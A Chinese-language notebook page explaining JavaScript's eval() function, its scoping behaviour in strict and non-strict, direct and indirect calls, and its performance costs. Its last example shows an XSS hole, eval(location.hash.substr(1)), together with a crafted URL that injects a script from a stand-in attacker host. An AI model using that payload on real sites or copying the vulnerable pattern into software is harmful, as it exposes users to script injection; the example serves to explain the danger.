📒
notebook
  • Notebook
  • DevOps
    • Git
      • 常见 Git 操作
      • 使用 SSH 连接 Git 远程仓库
      • 使用 GPG Keys 签名 Git 提交
      • Git on macOS
    • Docker
      • macOS 安装配置 Docker
      • CentOS7 安装配置 Docker CE
  • Linux
    • CentOS
      • CentOS7 安装配置 vsftpd
      • CentOS7 设置虚拟内存
      • CentOS7 使用 acme.sh 自动申请免费 SSL 证书
      • CentOS7 修改 SSH 端口号
      • CentOS7 主机初始设置
      • 阿里云 CentOS 主机常见设置
      • CentOS7 安装配置 SS
    • nginx
      • nginx 配置 301 永久重定向
      • nginx 使用 SSL证书配置 HTTPS
      • CentOS7 安装配置 nginx
      • nginx 配置 gzip 压缩
      • nginx 代理静态网页
  • Server
    • Ghost
      • macOS 安装配置 Ghost
      • CentOS7 安装配置 Ghost
    • npm & Yarn
      • Yarn 常用命令
      • CentOS7 安装卸载升级 Yarn
      • npm & Yarn 常见错误处理
      • macOS 安装卸载升级 Yarn
    • Node.js
      • Awesome Node.js
      • CentOS7 安装卸载升级 Node.js
      • macOS 安装卸载升级 Node.js
  • Web
    • Ionic
      • 创建 Ionic & Angular 项目
      • 使用 Ionic & Cordova 构建 Android 应用
      • macOS 搭建 Ionic & Cordova 开发环境
    • CSS
      • CSS 排版技巧
      • Awesome CSS
      • CSS 三栏自适应布局
    • Angular
      • Awesome Angular
      • 创建 Angular 项目
    • HTML
      • HTML head 常用标签
      • HTML 常用 DTD 声明
      • 常用网页语义结构
    • Web 技术标准
    • JavaScript
      • Awesome JavaScript
      • JavaScript 的 eval() 函数详解
  • Mobile
    • H5
      • iOS Safari Web App 配置
  • Development Environment
    • Development Utilities
      • Awesome Windows
      • macOS 安装配置 Homebrew
      • Awesome macOS
      • macOS 安装配置 iTerm2
    • FEED
      • 常用 Gulp 插件
  • Network
    • 常见公共 DNS
  • Technology Stacks for Web Front-End Development
Powered by GitBook
On this page
  • 语法
  • 描述
  • 用法
  • 参考文献

Was this helpful?

  1. Web
  2. JavaScript

JavaScript 的 eval() 函数详解

语法

/**
 * @param {string} expression
 * @return {undefined | any}
 */
eval(expression)

eval() 函数会将传入的字符串当做 JavaScript 代码进行执行,如果传入的字符串是表达式则返回表达式求值结果,否则返回 undefined 。

描述

  • 如果传入 eval() 的参数不是字符串,则会直接返回该参数。

  • 非严格模式下直接调用 eval() 时,里面使用 var 声明的变量和使用 function 声明的函数会修改当前词法作用域,里面使用 let 和 const 声明的变量不会修改当前词法作用域,但是会在当前创建新的词法作用域。

  • 非严格模式下间接引用 eval() 时,会直接运行在全局环境中,里面使用 var 声明的变量和使用 function 声明的函数会修改全局词法作用域,里面使用 let 和 const 声明的变量不会修改全局词法作用域,但是会在全局环境创建新的词法作用域。

  • 严格模式下直接调用的 eval() 时,会在当前创建一个新的独立的词法作用域。

  • 严格模式下间接引用的 eval() 时(只有在 eval() 内的字符串里面开启严格模式时,字符串才会以严格模式执行),会在全局环境创建一个新的独立的词法作用域。

  • 使用 window.eval() 等同于间接引用 eval() 。

  • eval() 中执行的代码只能调用 JS 解释器(Interpreter)来解释执行,无法被即时编译器(JIT Compiler)优化, eval() 中的执行的代码可能会导致 JS 引擎在已经生成的机器代码中进行变量查找和赋值,带来性能问题。

  • eval() 使用不当可能会导致里面执行的字符串容易遭受恶意修改,带来安全问题(比如 XSS 攻击)。

  • 使用 eval() 会干扰代码压缩工具的行为。代码压缩工具一般会将局部变量名重命名为更短的变量名(如 a 和 b 等),以便减小代码体积。当使用了 eval() 时,由于外部的局部变量可能会被 eval() 访问到,代码压缩工具便不会对可能会被 eval() 访问到的局部变量名进行压缩,会降低代码压缩率。

用法

eval() 的基本用法:

// 传入字符串形式 JS 语句
console.log(eval('const a = 0')); // undefined

// 传入字符串形式 JS 表达式
console.log(eval('1 + 1')); // 2
console.log(eval('(() => 3)()')); // 3

// 传入非字符串
console.log(eval({ a: 1 })); // {a: 1}

非严格模式下直接调用 eval() :

/**
 * 使用 var 声明的变量和 function 声明的函数修改了当前词法作用域。
 * 在 inner 内部创建的变量 a 和函数 fnA 覆盖了外部的变量 a 和函数 fnA。
 * 变量 a 和函数 fnA 在 inner 内没有被提升。
 */
(function () {
  const a = 0;

  function fnA() {
    return 10;
  }

  (function inner() {
    console.log(a); // 0
    console.log(fnA()); // 10
    eval('var a = 1; function fnA () { return 11; };');
    console.log(a); // 1
    console.log(fnA()); // 11
  }());
}());

/**
 * 使用 const 和 let 声明的变量没有修改当前词法作用域,在当前创建了新的词法作用域。
 * 在 eval() 外部无法访问变量 a 和 b。
 */
(function () {
  eval('const a = 2; let b = 3;');
  // console.log(a); // ReferenceError
  // console.log(b); // ReferenceError
}());

/**
 * 没有作用域隔离的话,var 和 const/let 会冲突报语法错误
 */
(function () {
  const a = 0;
  // eval('var a = 1'); // SyntaxError
}());

/**
 * var 没有块作用域,一样会因为 var 和 const 冲突报语法错误
 */
(function () {
  const a = 0;
  {
    // eval('var a = 1'); // SyntaxError
  }
}());

非严格模式下间接引用 eval() :

/**
 * eval() 内的代码在全局环境中执行,
 * 使用 var 声明的变量和 function 声明的函数修改了全局词法作用域。
 */
var g = 0;

(function () {
  const g = 1, ev = eval;

  function fnG() {
    return 10;
  }

  ev('console.log(g)'); // 0
  ev('var g = 2; function fnG () { return 11; };');

  console.log(g); // 1
  console.log(fnG()); // 10
}());

console.log(g); // 2
console.log(fnG()); // 11

/**
 * 变量 h 和函数 fnH 在全局环境内没有被提升。
 * 使用 const 和 let 声明的变量没有修改全局词法作用域,在全局环境创建了新的词法作用域。
 * 在 eval() 外部无法访问变量 i 和 j。
 */
var ev2 = eval;

// console.log(h); // ReferenceError
// console.log(fnH()); // ReferenceError

ev2('var h = 2; function fnH () { return 11; };')
ev2('const i = 1; let j = 2;');

// console.log(i); // ReferenceError
// console.log(j); // ReferenceError

严格模式下直接调用 eval() :

/**
 * 直接调用时,在 eval() 当前词法作用域开启严格模式时,eval() 内的字符串就会以严格模式执行。
 * 变量声明和函数声明没有修改当前词法作用域,在当前创建新的词法作用域
 */
(function () {
  const a = 0;

  function fnA() {
    return 10;
  }

  (function inner() {
    'use strict';
    console.log(a); // 0
    console.log(fnA()); // 10
    eval('var a = 1; function fnA () { return 11; };');
    console.log(a); // 0
    console.log(fnA()); // 10
  }());
}());

严格模式下间接引用 eval() :

/**
 * 间接引用时,只有在 eval() 内的字符串里面开启严格模式时,字符串才会以严格模式执行。
 * 变量声明和函数声明没有修改全局词法作用域,在全局环境创建了新的词法作用域
 */
var m = 0;

(function () {
  const m = 1, ev = eval;

  function fnM() {
    return 10;
  }

  ev('\'use strict\'; console.log(m)'); // 0
  ev('\'use strict\'; var m = 2; function fnM () { return 11; };');

  console.log(m); // 1
  console.log(fnM()); // 10
}());

console.log(m); // 0
// console.log(fnM()); // ReferenceError

使用 window.eval() :

/**
 * 非严格模式下使用
 */
var x = 0;

(function () {
  const x = 1;

  function fnX() {
    return 10;
  }

  window.eval('console.log(x)'); // 0
  window.eval('var x = 2; function fnX () { return 11; };');

  console.log(x); // 1
  console.log(fnX()); // 10
}());

console.log(x); // 2
console.log(fnX()); // 11

/**
 * 严格模式下使用
 */
var y = 0;

(function () {
  const y = 1;

  function fnY() {
    return 10;
  }

  window.eval('\'use strict\'; console.log(y)'); // 0
  window.eval('\'use strict\'; var y = 2; function fnY () { return 11; };');

  console.log(y); // 1
  console.log(fnY()); // 10
}());

console.log(y); // 0
// console.log(fnY()); // ReferenceError

使用 eval() 不当引发 XSS 攻击:

/**
 * 包含下面使用 eval() 不当的代码的网页地址为 'http://abc.com',
 * 攻击者恶意代码文件地址为 'http://xxx.com/xss.js',
 * 包含攻击代码的 URL 为 'http://abc.com#document.write("<script/src=//http://xxx.com/xss.js></script>")',
 * 当用户访问了包含攻击代码的 URL 时,会在用户浏览器执行包含恶意代码的 'http://xxx.com/xss.js' 文件。
 */
eval(location.hash.substr(1));

参考文献

  • 《你不知道的 JavaScript》

PreviousAwesome JavaScriptNextMobile

Last updated 4 years ago

Was this helpful?

CodePen:

CodePen:

CodePen:

CodePen:

CodePen:

CodePen:

JavaScript eval() 函数的基本用法
JavaScript 非严格模式下直接调用 eval() 函数
JavaScript 非严格模式下间接引用 eval() 函数
JavaScript 严格模式下直接调用 eval() 函数
JavaScript 严格模式下间接引用 eval() 函数
JavaScript 使用 window.eval() 函数
eval()
Eval:执行代码字符串